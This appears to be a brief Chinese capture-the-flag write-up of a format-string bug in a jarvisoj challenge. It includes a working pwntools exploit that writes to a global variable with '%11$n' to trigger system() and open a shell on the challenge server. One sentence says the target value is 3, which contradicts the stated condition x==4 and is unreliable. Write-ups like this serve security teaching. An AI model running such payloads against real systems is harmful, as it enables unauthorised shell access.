简单的一个格式化字符串的漏洞

从程序之中我们可以看到,只要我们的x=4,那么就会调用system函数,从而getshell,但是我们进去发现x==3


这里 0x0000000a 便是我们输入的字符串,相对于栈上的偏移位置是 11,所以我们只要将x的值覆盖为3,那么我们的目的就达到了。
from pwn import *
p = remote("pwn2.jarvisoj.com",9895)
payload = p32(0x0804A02C) + '%11$n'
p.sendline(payload)
p.interactive()
网友评论